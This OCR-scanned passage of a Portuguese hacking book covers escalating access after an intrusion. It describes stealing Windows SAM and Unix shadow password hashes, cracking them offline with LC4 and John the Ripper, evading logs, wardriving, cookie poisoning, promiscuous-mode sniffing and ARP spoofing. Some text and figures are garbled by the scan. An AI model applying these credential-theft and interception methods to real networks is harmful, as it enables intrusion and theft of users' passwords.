Pascal (e portanto o Delphy/Kylix tambm) e Basic (Visual Basic, Thrbo Basic, Quick Basic,...) e mesmo novas linguagens como C++, C# e Java tambm padecem do mesmo mal. As formas de explorar os estouros nessas linguagens so diferentes, mas ainda assim a vulnerabilidade existe.
4. Chroot , simplificando a definio, uma maneira de "enjaular" uma aplicao que precise de direitos de superusurio para rodar. Normalmente, instala-se a aplicao em um diretrio que possui uma cpia do sistema de arquivos do sistema oper.acional, mas no o sistema de arquivos verdadeiro. Nesse ambiente falso, a aplicao roda com pseudo-direitos de root, que s valem dentro do ambiente.A aplicao fica feliz em ser enganada e roda perfeitamente. Se um hacker invadir essa mquina por meio de um buffer overflow da aplicao em chroot, vai conseguir, no mximo, o mesmo superusurio falso que a aplicao usa.

2621
Ataque, defesa e contra-ataque: Invaso r

Universidade 3ano

Ganhando acesso a outras contas


You know the day destroys the night / Night divides the day / Tried to run, tried to hide / Break on through to the other side5 At agora, invadimos uma nica mquina. Ok, voc pode ter invadido diversas, mas mesmo que "Owne" dez ou quinze delas ainda no pesquisou como a rede ao redor funciona. Ou pior: voc conseguiu um shell restrito e no consegue fazer muitas coisas! Encontramos dois exemplos clssicos nas pginas anteriores: o servidor Web Apache (que roda em usurio nobody) e aplicaes rodando em chroot. Tomemos o Apache: voc aplicou um exploit nele e conseguiu um shell. S que, nesse shell, o usurio que est logado o nobody - um usurio especial criado justamente para no dar poderes especiais a potenciais invasores. Como o Apache no precisa de poderes especiais para rodar, apenas acesso a seus prprios arquivos, tudo corre s mil maravilhas. Um script kid entra por buffer overflow, tem acesso a um shell do nobody, pode, talvez, sobrescrever uma ou outra pgina HTML - e s! No tem acesso rede, no tem poderes de root, no possui sequer um diretrio !home... No Windows (NT e 2000), apesar de ser mais freqente os administradores instalarem programas servidores nos grupos System ou Administrator, tambm prtica recomendada de segurana deixar tais programas com o mnimo possvel de direitos sobre o sistema. Nesse cenrio, invadimos a mquina mas no temos, ainda, muito poder sobre ela. hora, pois, de tentar conseguir, de alguma forma, acesso a outras contas e, se possvel, ao superusurio. A primeira forma a que vimos nas pginas anteriores. Todo usurio tem acesso a diversos programas em sua mquina normal. Numa mquina Unix temos diversos scripts, programas de todos os tamanhos como fetchmail, MySQL, Informix, Oracle, sendmail, login, telnet, popd, inetd... Mais perto do usurio final, ainda, temos o servidor grfico X Windows, os ambientes KDE, Gnome, CDE,WindowMaker (etc etc etc) e aplicativos associados. Temos ainda os prprios configuradores do sistema, como Linuxconf no Linux, Smit no AIX, Admintool no Solaris, SAM no HP-UX... Cada um deles com maior ou menor grau de direitos sobre o sistema. "Exploitar" qualquer um dos programas deste pargrafo pode levar ao root ou a, pelo menos, um usurio com mais direitos. Uma ltima dica: leia atentamente as pginas de manual dos comandos su e sudo e do arquivo /etc/sudoers. Voc talvez ache interessante. (R h h...) No Windows no nada diferente. IIS,subsistema de segurana e login, Access, Word, Excel, Powerpoint ( triste, mas j encontramos servidores com o Office

5. "Quando o dia destri a noite / a noite divide o dia / tentei correr, tentei me esconder / mas agora atravesso para o outro lado". Break on through [to the other sidej. Do lbum The Doors, de 1967.

12631

I Ataque,

defesa e contra-ataque:

Invaso

I Universidade

H4CK3R I

instalado...), MS SQL Server, CGls diversos... Todos eles podem ser explorados para oferecer mais controle. At que se chega em algum usurio ou programa que d acesso linha de comandos com os privilgios do grupo System (o "root" do Window NT).A dica, neste caso, fica por conta de exploits sucessivos (para ganhar cada vez mais poder) em direo a alguma DLLdo prprio Kernel. Se voc leu o captulo sobre Plataformas Windows, aprendeu que vrias partes do kernel rodam em User Mode. Algumas, mesmo assim, rodam com privilgios do grupo System. 2+2... Embora seja efetivo e fcil, depender de exploits pode deix-Io "na mo" em sistemas bem configurados e, principalmente, atualizados. H, entretanto, formas alternativas de ganhar acesso a outras contas. A quebra de senhas , seguramente, a mais usada.

Mtodos para descobrir usurios e senhas


No captulo 7 (Vulnerabilidades l) vimos diversas maneiras de quebrar as senhas do sistema. Vamos relembrar algumas: 1. Logins fracos: Duplas usurio/senha com palavras facilmente encontrveis no dicionrio ou pior, que possam ser descobertas por engenharia social - so brinquedo na mo de hackers experientes. Listas de palavras e aplicativos que tentam combinaes baseadas em dicionrios existem s pencas por a. 2. Brute Force: se os logins no so assim to fracos, h ainda a possibilidade de direcionar um ataque "burro", que testa as combinaes possveis de letras, nmeros e smbolos do teclado at encontrar uma ou mais duplas usurio/senha que entrem. 3. Roubo e decifragem dos arquivos de senhas: se o hacker conseguir obter uma cpia dos arquivos de senhas (SAM databases no Windows, /etc/ passwd e /etc/shadow no Unix) est dentro! Basta usar as ferramentas conhecidas para tal (como o LophtCrack para Windows ou o John the Ripper para Unix) e pronto! Todas as senhas do sistema esto no papo, incluindo as do Administrador do Windows e do root no Unix. Antes de tentar descobrir pares de logins e senhas, vamos ver um exemplo de ataque por dicionrio e brute force. Observe uma coisa: j estamos dentro da mquina, portanto nosso script no vai mais enviar uma solicitao de login via rede. Podemos usar os procedimentos de login locais do prprio sistema operacional para tentar mudar de usurio. Novamente, um pouco de engenharia social, se possvel, sempre ajuda. Apesar de ser possvel usar programas prontos para tal, como internamente cada caso um caso o melhor caminho fazer um script (em shell no Unix ou em WSE ou VBA no Windows) que teste seqencialmente toda a sua lista de palavras em todas as combinaes de logins e senha possveis. Elaborar as listas com os nomes obtidos por engenharia social uma boa prtica. Um script que fizesse isso deveria ter a seguinte estrutura:

2641
Ataque, defesae contra-ataque: Invaso [

Universidade 3ano

1. Pega a prxima palavra do arquivo de dicionrio; 2. Insere esse nome no programa de login do sistema; 3. Pega a primeira palavra do arquivo de dicionrio; 4. Insere como senha no programa de login do sistema; 5. Pega a prxima palavra do arquivo de dicionrio; 6. Insere como senha no programa de login do sistema; 7. Volta ao passo 5 at que todas as palavras tenhas sido usadas; 8. Volta ao passo 1 at que todas as palavras tenhas sido usadas. fcil implementar isso, por exemplo, com os programas login ou su do Unix em um shell script. Mas h um problema:VOC ESTSENDOVlGIADO!!! Todas as tentativas malsucedidas de login estaro sendo registradas nos logs do sistema. Como voc ainda no tem privilgios de root, seria impossvel apagar tais rastros. Esta, portanto, no a melhor maneira de tentar entrar. H uma, entretanto, fantasticamente simples e muito mais segura: o roubo do arquivo de senhas e posterior decifragem dos hashes. imperativo no ser descoberto. Portanto, a metodologia usada pela maioria dos crackers obter o arquivo de senhas do sistema e tentar quebr-Ias, off1ine, em casa. Pode-se usar diversos computadores ligados em c1usters - muito fcil fazer em casa, com Unux, supercomputadores com cinco ou seis 486s e mesmo 386s obtidos do lixo - e os programas quebradores de senhas j citados - LOphtCrack e John the Ripper. Uma nica mquina rodando Windows NT com o LOphtCrack j algo considervel: mesmo que demore um ou dois meses para conseguir alguma senha usvel, tempo o que o hacker mais tem. E, trabalhando em casa, o seu trabalho no ser detectvel.

Quebrando senhas no Windows


A sistemtica simples. Deve-se: 1. Roubar o arquivo de senhas e levar pra casa; 2. Passar o arquivo de senhas no programa quebrador; 3. Testar as senhas recuperadas no sistema original pra ver se os usurios no as alteraram. Como exemplo prtico, vamos usar um descendente do antigo LOphtCrack, o LC4, atualmente distribudo pela empresa de segurana @Stake (www.atstake.com).Criado por hackers como prova de conceito para demonstrar as fragilidades dos hashes do Windows NT, o software chegou at a verso 2.5 ainda com o cdigo fonte aberto. No final da dcada de 90 os direitos sobre o software foram transferidos atual proprietria, e o LOphtCrack 2.5 foi relanado como LC3. O LC4 , portanto, uma evoluo direta do LOphtCrack 2.5. O software hoje vendido a um preo de US$350,00 por licena, mas possvel fazer download de uma verso de avaliao vlida por 15 dias - com as rotinas de brute-force desabilitadas. No site, a @Stake oferece, gratuitamente e com cdigo fonte, a verso 1.5 do LOphtCrack - ainda em linha de comando.

1265 I

] Ataque,

defesa e contra-ataque:

Invaso

I Universidade

H4CK3R

Para o passo 1, devemos de alguma forma "chupar" os hashes dos usurios contidos no banco de dados SAM, normalmente guardado no registro em HKEY_LOCAL_MACHINE\SECURlTY\SAM\Domains\Account\Users (achou que no amos dizer a chave?). Para tanto, podemos usar um utilitrio do prprio LC4, chamado pwdump. Outro programa que rouba as senhas do SAM o pwdump3. Originalmente desenvolvido por Jeremy Allison and Todd Sabin, hoje mantido por uma empresa, a PoliVec. Embutido em seu produto multiuso de segurana PoliVec Scanner, o pwdump3 (www.polivec.com/pwdump3.html) permite que as senhas sejam recuperadas inclusive remotamente, pela rede (incluindo a Internet). Uma terceira opo um utilitrio que acompanha o pacote de servidores 5MBpara Unix, o Samba (www.samba.org).Junto com o produto est includo um programinha chamado (olha que original...) pwdump, que extrai o SAM database e o transforma em um arquivo de senhas do Samba (smbpasswd) vlido. Mais informaes sobre ele podem ser obtidas em us1.samba.org/samba/ftp/pwdump/ . Nos trs casos, gera-se arquivos de senhas que o LC4 pode interpretar. Nos trs casos, tambm, precisa-se de privilgios de Administrador para rodar o programa. Esse obstculo, apesar de complicado, ainda assim contornvel. H diversas maneiras de faz-Io:rodando o programa na mquina alvo atravs de um exploit, rodando o programa em uma mquina de senhas fracas com relaes de confiana com a mquina alvo, fazendo invaso fsica no local onde a mquina est... Uma vez conseguido o arquivo de senhas, passemos ao passo 2. Desconectese completamente da rede a ser invadida e rode, em casa, o LC4 contra seu arquivo. H uma farta documentao includa com o prprio produto, portanto no vamos detalh-Io aquLA figura a seguir mostra um processo de cracking em andamento, com algumas senhas j descobertas:

G.om

. <m.~ ,JHISI'1.A<ESUCI OOU,I>SOI<T

-. 2661

iIomIh .......

- -"-y"
~

Od0h1ln!& OdOh'm,*,

0.1 """"52>
OdOhOrn..

-. ,,,..

"'''''''''" !,,,.."u..
mmJ~

_r 'AS"A"""''''
1'rl??1/>.

mmn mm?RGS3

, "-"

bobofett

OdOhlm1o!<

"'-

0.1""......

Ataque, defesae contra-ataque: Invaso [

Universidade 3ano

Observe: como vimos nos captulos sobre Vulnerabilidades, as contas no WinNT so guardadas em 2 hashes: um para o antigo Lan Manager e outro com a senha mais forte do NT.Alm do 1M Hash ser mais fcil de quebrar, normalmente os usurios usam a mesma senha localmente (NTLM). O prprio Lc4 sabe disso e, uma vez conseguida a senha LM, interrompe o brute force e tenta a mesma senha no NT.Como voc pode ver na figura, vrias senhas j esto descobertas e, no exemplo, TODAS so iguais nos dois campos. O usurio shennesy parece gostar do seriado Star Treck e o usurio djattan parece no estar muito contente com seu local de trabalho - com um pouco de engenharia social, o hacker nem precisaria do Lc4. O usurio Guest no possui senha (glup!). A figura anterior foi retirada de um estudo de Dan Smith, na Universidade da Carolina do Norte, EUA,e pode ser encontrado em www.unc.edu/-smithdr/ inls187/sr.htm1 . O estudo, alm de analisar o software, traz dados sobre tempo para quebrar senhas de todos os tipos, fracas ou teoricamente seguras. Por ltimo (passo 3), teste todas as senhas que conseguiu no sistema invadido. possvel que algumas estejam trocadas, mas voc j sabe, pelo menos, o nome dos usurios vlidos e o padro que eles usam para elaborar suas senhas. Por exemplo, a conta Administrator mostrada possua uma senha BARNABAS09. As chances esto entre 80% e 90% de que, nos prximos meses, ela seja BARNABASlO, BARNABASll...Acho que o leitor j "pescou" o mecanismo!

Quebrando senhas no Unix


Voc acha que a sistemtica mudou? Nada disso: 1. Roubar o arquivo de senhas e levar pra casa; 2. Passar o arquivo de senhas no programa quebrador; 3. Testaras senhas recuperadasno sistemaoriginalpra ver se o usuriono a alterou. H diversos programas para Unix que descobrem senhas em arquivos criptografados. O mais conhecido certamente o John the Ripper. Us-Io to fcil que d raiva. Uma vez instalado e configurado, basta "aliment-Io" com o arquivo de senhas e deixar que ele faa o servio. A sintaxe simples:
$ john arquivo_senhas

No passo 1 temos os mesmo problemas que tivemos com o Wmdows. Como vimos no captulo sobre PlataformasUnix, os sistemas modernos utilizam o sombreamento de senhas, que consiste em separar o processo de login em dois arquivos: o /etc/passwd (que contm informaes gerais sobre o usurio, como nome, login, GID,UID,diretrio ;home e shell inicial) e o /etc/shadow (que contm as senhas criptografadas). Como o /etc/passwd tem que ser legvel por todos, os hashes ficariam desprotegidos se ficassem a. O arquivo /etc/shadow, ao contrrio, legvel e editvel apenas e to somente pelo superusurio, o root. Se o sistema invadido possuir sombreamento de senhas, voc s conseguir roubar o arquivo /etc/shadow se estiver em um shell root. Se o sistema invadido no possuir sombreamento, o "administrador" j deixou metade do servio pronto para voc...6
6. Mesmo que o sistema possua password shadowing, voc ainda ter os nomes vlidos de contas.

I 267 I
Invaso

IAtaque,

defesa e contra-ataque:

I Universidade

H4CK3R I

Encontrar e aplicar um exploit que lhe d acesso a root a forma mais direta para conseguir o arquivo de shadow. Outras formas incluem: 1. Fazer core dumps de programas SUlD root que acessem as senhas (como o FTp' o SSH ou o Telnet); 2. Verificar no arquivo passwd qual dos usurios tm "pinta" de ad mistrador - possvel que ele possua programas SUlD em seu !home. Uma vez descoberta a senha, chegamos ao passo 2. Basta rodar o ]ohn the Riper de acordo com o configurado e esperar. No final, uma lista de senhas vlidas (possivelmente a do root tambm) ser encontrada. O passo 3 trivial: volte cena do crime e use as senhas. Nada como logar-se como um usurio autorizado para despistar as auditorias de invaso...

Ganhando acesso e destruindo a rede


Uma vez dentro da rede, h diversas aes possveis de ser tomadas. Estando em posse de uma mquina, pode ser mais fcil invadir outras. Mas nem s de "Ownar" vive um cracker. possvel, por exemplo, usar a rede como trampolim para outras redes maiores. Ou capturar senhas dos usurios em servioes externos - como senhas de bancos ou nmeros do carto de crdito. Ou ainda desviar o trfego para que os usurios sejam encaminhados para armadilhas ou sites falsos. Apresentaremos nesta seo apenas descries resumidas desses tipos de ataques, com indicaes para sites com mais informaes.

War Driving e War Chalking


Uma das mais novas formas de invaso corporativa o War Driving. Hackers saem pelas ruas da cidade com gambiarras feitas de latas de batata frita, arruelas e alguns cabos, e capturam conexes de rede wireless que estejam "vazando". Como as corporaes no costumam criptografar suas conexes internas, uma conexo wireless desse tipo fornece um acesso ilimitado, similar ao conseguido se o invasor entrar andando pela porta da frente e plugar um cabo do seu laptop em uma tomada de rede da empresa. O assunto relativamente novo e merece um estudo muito mais profundo do que o que seria permitido neste livro. Alis, seria necessrio um livro inteiro sobre isso. Uma excelente fonte de informaes e recursos (tutoriais, equipamentos, esquemas de antena - inclusive feitas em casa) o si te www:wardriving.com. Um esquema simples de antena, construdo com o j lendrio tubo de batatas fritas Pringles, pode ser encontrado em www.oreillynet.com/cs/weblog/view/wlg/448. Hackers europeus foram mais longe e criaram o War Chalking - um alfabeto especial para marcar, com giz e na calada, os pontos de acesso (posio e orientao da antena) para uma melhor conexo rede alheia. Saiba mais sobre as tcnicas usadas no site oficial: www.warchalking.org (ou, alternativamente, www.warchalking.us). Esse site traz informaes tcnicas, tutoriais, clu-

12681

Ataque, defesae contra-ataque: Invaso [

Universidade 3ano

bes e muitos links para outros recursos. O site www.blackbeltjones.com tambm tem diversos recursos. Um artigo sobre o assunto pode ser encontrado na Meca do wireless, o site 802.11 Planet (www.80211-planet.com/columns/ artic1e.php/140240n.
.

Indo alm do SQl Injection...


Em nosso segundo estudo sobre vulnerabilidades, vimos maneiras simples de enganar o script da pgina (seja em ASp' PHp, ColdFusion ou algum CGI) e injetar nela modificaes na query SQL associada. Mas h outras maneiras de brincar com sistemas baseados em Web. A primeira e mais imediata observar e manipular os dados da prpria URL. Muitos sistemas on-line carregam informaes valiosas em campos presentes depois do endereo HTfP (tarefa para casa: pesquisar sobre os mtodos HTMLGEf e POS1). Pentear uma URLgrande tentando entender como o sistema funciona o primeiro passo para entrar em tal sistema. Bancos, sites de compras e mesmo sites governamentais utilizam a URL como transporte de dados do cliente sem se importar com o fato de serem informaes visveis por qualquer um na rede. Um exemplo notrio disso foram as vulnerabilidades encontradas h alguns anos no Hotmail (www.hotmail.com). em que os identificadores de sesso, nomes de usurio e hashes das senhas estavam presentes na prpria URL. Hoje o Hotmail j no padece mais desse mal, mas por muitos anos foi uma brecha extremamente fcil de explorar. Preste ateno ainda em sites que usam chamadas ODBC e no SQL. Sistemas 100% Microsoft tendem a privilegiar o inseguro protocolo ODBC para acesso a bancos de dados Access e SQL-Server. Alguns links para pesquisa sobre SQL Injection: ~ www.securiteam.com/securityreviews/5DPONlP76E.html ~ online. securityfocus.com/infocus/1644 ~ www.sqlsecurity.com/DesktopDefault. aspx?tabindex=2&tabid=~ ~ www.nextgenss.com/papers/advanced sql injection.pdf ~ www.spidynamics.com/papers/SQLIniectionWhitePaper.pdf Outro mtodo o coolde poisoning, uma maneira de torcer a autenticao via W eb. Quase a totalidade dos sites hoje em dia utilizam-se de cookies para controlar acesso e sesso. Alterar UserID e SessionID em cookies pode ser um atalho para entrar em contas de outros usurios. mais difcil encontrar recursos sobre cookie poisoning na Internet. Sugerimos os seguintes recursos: ~ White paper: Hacking web applications using cookie poisoning (www.allasso.pt/base/ docs/11042206054. pdO. ~ Busca pela palavra chave cookie no Security Focus (www.securityfocus.com).

1269 I
I

Ataque, defesa e contra-ataque:

Invaso

I Universidade

H4CK3R I

Dois softwares que trabalham como proxy baseados no desktop podem ser usados para facilitar a manipulao de Cookies (e de cabealhos HTTP tambm!): so eles o Achilles e o BrowseGate. A empresa que produz o Achilles (DigiZen Security Group - www.digizen-security.com) parece ter retirado o site do ar, mas descries sobre o produto podem ser encontradas no PacketStorm (packetstormsecurity.nl/filedesc/achilles-O-27.zip.html) e no SecuriTeam.com (www.securiteam.com/tools/6LOOR200KA.html). O BrowseGate, desenvolvido pela NetCPlus (www.netcplus.com/ browsegate.htrnl) outra opo de Proxy Server que pode ser usada de maneira malfica para torcer cookies e autenticao em sites. H uma anlise dele em www.webattack.com/getlbrowsegate.shtml. Para todos os problemas listados, possveis solues podem ser encontradas no site oficial sobre segurana em sistemas web: www.owasp.org.

Farejando a rede (Sniffing)


Outra forma de ganhar acesso a uma rede, depois de "Ownar" uma das mquinas que a integram, passar a "escutar" o que est trafegando nessa rede. Os programas que fazem esse tipo de trabalho sujo so chamados de sniffers ou farejadores. Um sniffer trabalha na camada 2 de nosso modelo de referncia OS!. Isso quer dizer que impossvel fazer um sniffing diretamente via Internet em uma rede distante. necessrio que o invasor instale e rode o sniffer em uma mquina pertencente rede local que se quer farejar. a objetivo mais imediato de um invasor quando instala um sniffer descobrir senhas de outros usurios da mesma rede. Deixando a ferramenta "de campana" por alguns dias, possvel conseguir senhas de dezenas de usurios e centenas de servios (sites, e-mail, servidores, sistemas...). Como h servios autorizados para alguns usurios em especial e negados aos outros, interessante, medida que se v conseguindo senhas, que instale sniffers em diversas mquinas e, com isso, consiga um universo maior delas. fcil perceber que, nesse contexto, o invasor vai "Ownando"aos poucos um grande nmero de mquinas dentro da rede remota. Como uma ferramenta da camada 2 e, portanto, local, o sniffer deve ser instalado e deixado em atividade sem que o invasor interve1270

Ataque, defesae contra-ataque: Invaso [

Universidade 3ano

nha. A ferramenta escutar a rede e gravar tudo o que for de interesse em um arquivo. Depois de algum tempo (alguns dias ou semanas) o hacker voltar ao local do crime apenas para recuperar o arquivo com o tesouro, o qual analisar em casa, desconectado. H uma forma mais perniciosa de usar o sniffer: coloc-Io em um gateway entre redes. Como vimos nos captulos pertinentes, um gateway um equipamento que une duas ou mais redes diferentes de forma a passar pacotes entre elas quando aplicvel. Um sniffer colocado num gateway pode escutar, ento, o trfego de todas elas.

Na prtica, como a maioria esmagadora dos gateways ligam sua rede interna Internet, o que o invasor tem disposio tanto seu conjunto potencial de senhas e informaes confidenciais quanto os e-mails, senhas, informaes e cartes de crdito que entram e saem de sua empresa. Imagine, num cenrio ainda mais tenebroso, que um hacker plantou um sniffer em um gateway que liga sua empresa ao seu site de comrcio eletrnico, ou operadora de cartes de crdito, ou a seu parceiro, ou ao banco. Fatal! A primeira providncia quando se vai farejar uma rede colocar a interface de rede de alguma mquina em modo promscuo. Como vimos nos captulos Redes I e 11,quando um pacote IP chega em uma rede, a interface que detm o pacote pergunta: "qual o MACAddress que contm o endereo IP desse pacote"? A mquina destino responde com seu MACAddress e o pacote enviado a ela. Esse o conhecido protocolo ARP. "Enviado a ela", como escrito no pargrafo anterior, ligeiramente mentiroso (ou, como dizia um pastor luterano que conheci, um "exagero da verdade"). O pacote , na verdade, jogado no barramento e todas as interfaces podem ler. O que ocorre que as interfaces fazem "ouvidos moucos" ao pacote, caso este no seja direcionado a elas. Apenas a mquina a que realmente se destina "presta ateno" ao que est trafegando na rede. As outras simplesmente ignoram-no. aqui que entra o "modo promscuo". Uma interface configurada dessa forma "ouve"TODOSos pacotes que trafegam na rede, e no apenas os que so destinados
I

271

]Ataque,

defesa e contra-ataque:

Invaso

I Universidade H4CK3R I

a ela. Se isso um facilitador para a implementao de ferramentas de monitorao de rede - coisaque todo administradorcompetente deveriausar - tambmpossibilita que algum com ms intenes facilmente escute o que no devia. Para colocar uma interface de rede em modo promscuo, deve-se ter acesso privilegiado ao sistema operacional - o que equivale a dizer root em um sistema Unix, Administrator em um sistema WinNT ou Admin em um Novell Netware. Por isso mesmo, tomar completamente pelo menos uma mquina na rede (como vimos anteriormente) imperativo para que possamos fazer uma "colheita" posterior. H diversas formas de colocar uma interface de rede em modo promscuo. H programas especiais para isso em qualquer plataforma e mesmo alguns truques no sistema operacional (seja ele Windows, Novell, HPUX...) so possveis sem o auxlio de qualquer programa externo. Todo sistema operacional possui uma ferramenta qualquer que mostra o estado e altera as configuraes da placa de rede. Tomando como exemplo um sistema GNUlLinux, o comando que faz esse trabalho para ns o ifconfig. Emitido (como root) sem argumentos, o comando mostra o estado de todas as interfaces de rede. Emitido seguido do nome de uma interface, d o estado atual dessa interface. Por exemplo, para saber a quantas anda a primeira interface de rede (ethO), o comando seria:
# ifconfig ethO

o resultado seria:
Encapsulamento do Link: Ethernet Endereo de HW 00:08:74:B5:64:95 inet end.: 192.168.1.11 Bcast:192.168.1.255 Masc:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Mtrica:1 RX packets:13567 errors:O dropped:O overruns:1 frame:O TX packets:8300 errors:O dropped:O overruns:O carrier:O co1ises:0 RX bytes:3163776 (3.0 Mb) TX bytes:994079 (970.7 Kb)

Observe as informaes mostradas. Voc sabe, por meio desse comando, que o encapsulamento do link (ou seja, o protocolo de camada 2) Ethernet, que o MAC 00-08-74-B5-64-95,que o endereo de rede 192.168.1.11, que o tamanho mximo do pacote Ethernet (MTU) de 1.500 bytes, etc... H tambm alguns flags que indicam se a interface est pronta ou "em p" (DP), se est rodando (RUNNING) e se responde a broadcast ou multicast. Agora vejamos o que acontece com o comando abaixo:
# ifconfig ethO promisc

Aparentemente, nada acontece. O shell nos devolve o prompt e nenhuma mensagem de erro ou de tarefa conlcuda mostrada. Mas, se emitirmos novamente o comando ifconfig ethO, o resultado seria um pouco diferente:

12721
Ataque, defesae contra-ataque: Invaso [

Universidade 3ano

Encapsulamento do Link: Ethernet Endereo de HW 00:08:74:B5:64:95 inet end.: 192.168.1.11 Bcast:192.168.1.255 Masc:255.255.255.0 UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Mtrica:1 RX packets:13567 errors:O dropped:O overruns:1 frame:O TX packets:8300 errors:O dropped:O overruns:O carrier:O colises:O RX bytes:3163776 (3.0 Mb) TX bytes:994079 (970.7 Kb)

Bingo! Observe que a placa agora est em modo promscuo (flag PROMISC). Absolutamente TUDO o que est trafegando na rede interpretado pela pilha TCP/lP do kemel e pode, portanto, ser monitorado. Isso inclui pacotes no direcionados a essa mquina.

Sniffing passivo
As redes locais normalmente se utilizam de equipamentos chamados hubs (captulos Redes I e lI) para facilitar e flexibilizar a conexo de novas mquinas a uma rede existente. O hub age ainda como um elemento regenerador do sinal eltrico presente no barramento de rede. Mas o hub um elemento passivo no tocante a controle do trfego na rede local. Hubs e repetidores so equipamentos que trabalham na camada 1 do modelo OSI, portanto no tm controle algum sobre o quadro Ethemet (ou qualquer outro protocolo de camada 2 como Token Ring, PPp, Frame Relay ou X.25). Isso significa que uma mensagem enviada de uma mquina para a outra ser ouvida por todas na rede. fcil perceber, no desenho acima, que se a mquina A enviar uma mensagem para a C, as estaes B, D e H ainda estaro "ouvindo". Portanto, apesar da aparncia de estrela, uma rede que se utilize de um hub para interligar as mquinas , na realidade, um barramento. Conclumos que muito fcil para um sniffer registrar e decodificar tudo o que trafega nessa rede. Como trabalha com interfaces em modo promscuo, todos os pacotes da rede podem ser interpretados. Mas e se a rede estiver segmentada com bridges ou switches?

1273 I

] Ataque,

defesa e contra-ataque:

Invaso

I Universidade

H4CK3R I

No captulo 2 (Redes I) vimos en passant a descrio desses equipamentos. Uma bridge divide a rede em dois segmentos e bloqueia trfego no destinado cada um deles.

XI Bridge /t::: /t:::

'X

Bloqueadopela Bridge

Observe: as mquinas A e B esto no segmento 1, enquanto C e D no segmento 2. Isolando os dois, uma bridge. O trfego de A para B e de B para A fica restrito ao segmento 1, e o trfego de C para D e de D para C fica restrito ao segmento 2. A bridge bloqueia o trfego local, no deixando que mensagens no endereadas a um barramento em especial cheguem nele.

Bridge
Deixa passar

Entretanto, se a mquina C quer enviar uma mensagem para a mquina A, a bridge deixa passar o pacote.

12741
Ataque, defesae contra-ataque: Invaso [

Universidade 3ano

A determinao de quais pacotes devem passar e quais devem ser bloqueados dinmica, baseada nos endereos MAC das interfaces de rede. No momento que uma bridge ligada, ela no tem nada na memria. medida que as estaes vo enviando pacotes para a rede, a bridge guarda os MACAdresses
numa tabela, relacionando-os

~~

com o segmento de onde pa~~. cote se originou. Note que o tudo se passa na camada 2 do modelo OSI:a bridge s tem conhecimento das mquinas ligadas diretamente em sua rede local. Imagine, agora, um hub que possusse uma bridge em cada porta. Cada mquina da rede receberia apenas trfego destinado a si. Esse "monstrengo existe e se chama comutador ou switch.Observe: assim como em nosso primeiro exemplo, a estaoA quer enviar uma mensagem para a estao B.Devido ao switch, nenhuma das outras mquinas ir escutar o que A tem a dizer.Alm disso, C poderia falar com E simultaneamente, pois a rede est, para elas, ociosa. Uma rede com um switch no lugar de um hub, alm do controle e diminuio do trfego, tambm ofereceria uma segurana adicional rede, uma vez que um sniffer instalado, por exemplo, em D no poderia escutar nada das conversas entre A e B ou C e E. O uso de bridges e switches, ento, minimizaria o problema dos sniffers, certo? Infelizmente, mais uma vez, a resposta no...

~
..

---

. .

Sniffing ativo
Um switch ou bridge possui uma tabela que relaciona os MAC addresses que "ouviu" na rede com as portas ou segmentos nos quais foram "ouvidos". Como preenchida dinamicamente, essa tabela ser atualizada toda vez que uma nova mquina for conectada rede. Como dizia um parente meu (ilustre, mas iletrado), "tudo o que demais em demazia" (sic). A memria do switch possui um tamanho limitado, portanto um nmero muito grande de interfaces de rede ligadas em cada uma das portas poderia, num caso extremo, preench-Ia completamente. Pensando nisso, os fabricantes desses equipamentos as dimensionam para que esse limite nunca seja atingido. O problema que um quadro Ethemet nada mais do que uma seqncia de uns e zeros que pode, por isso mesmo, ser manipulada. Um programa cuidadosamente escrito poderia gerar, ad infinitum, frames Ethemet com MAC adresses aleatrios e, em alguns minutos, preencher completamente a memria do switch. Como o show no pode parar, esses equipamentos podem comear a repassar mensagens indiscriminadamente para todas as portas. Essatcnica chamada de MACFlooding.

1275 I

] Ataque,

defesa e contra-ataque:

Invaso

I Universidade

H4CK3R

Uma vez nessa situao, qualquer sniffer poder farejar a rede. H ferramentas que fazem isso (uma delas, escrita em PerI, pode ser encontrada www.safenetworks.com/ em

Others/~com4.html), mas os sniffers mais modernos (como o ettercap e o dsniff) todo o trabalho. Felizmente j fazem

(ou infelizmente,

dependendo dos intentos do estimado leitor), alguns swii:ches so imunes ao MAC Flooding. H vrias maneiras de implementar switches assim. Podem ser usados algoritmos de proteo que impedem que a memria seja completamente preenchida. Ou ento um sistema de deteco de flood, baseado em padres de dados e um knlowledge base dos sniffers conhecidos. Uma terceira maneira seria adotar uma poltica de persistncia, mantendo MACs conhecidos h mais tempo em detrimento de novas interfaces, caso a memria lote. Para contornar esse inconveniente, os hackers desenvolveram uma tcnica chamada ARP Spoofing. uma tcnica um pouco mais complicada, mas muito inteligente. Em vez de trabalhar apenas na camada 2 (Ethernet) o invasor vai confundir o computador cujo trfego se deseja "esnifar" manipulando sua tabela ARP. O ARP, como discutido anteriormente, um mecanismo de traduo IP-paraMAC. A mquina que quer enviar o pacote pergunta, na rede: "Quem tem o IP tal"? Todas as mquinas IP responde: daquele segmento ouvem a pergunta,
IP= 1 O.O.OA MAC=ww.ww.ww

mas apenas a

interface que possui aquele

IP=10.0.0.1
MAC=xx.xx.xx

MAC

"Sou eu, meu :XXXXXX". A partir

disso, a interface de origem monta um quadro Ethernet e o envia ao destino. O ARP Spoofmg uma maneira de enganar a mquina da vtima, fazendo-a acreditar que o endereo MAC da mquina onde o sniffer est corresponde ao endereo IP da mquina-destino original. Complicado? Sim, . Vamos tentar exemplificar:
Configura H

CD

para reenviar a B tudo que chega

Snilfer Ativo: preparao

12761
Ataque, defesa e contra-ataque: Invaso

Universidade 3ano

No diagrama mostrado, a estao A quer falar com a estao B.A partir da estao H, um hacker quer farejar a comunicao entre A e B. Para isso, necessrio uma preparao prvia. A primeira coisa que o hacker deve fazer configurar seu sistema operacional de H para repassar todo e qualquer trfego que chegue para si, vindo de A, para a verdadeira mquina destino, que B. A configurao do IP forwarding normalmente feita pelo prrpio sniffer, mas possvel que em alguns casos seja necessrio faz-Io manualmente. Tanto Windows quanto Netware e tambm qualquer Unix permitem esse tipo de redirecionamento. Lembra-se daquele mapa da rede, feito com ping+traceroute (ou com o Cheops)? Ele ser muito til agora. O segundo passo enganar a mquina A, fazendo-a acreditar que o IP de B possui o MACde H. Isso conseguido fazendo H enviar um nmero monstruoso de respostas ARP para A, informando que o IP de B possui o MACde H - respostas essas que sequer foram solicitadas. Depois de um certo tempo, A "pensa" que, para mandar mensagens para o IP de B, tem que construir quadros Ethemet direcionados ao MACde H. Agora s ativar seu sniffer preferido e 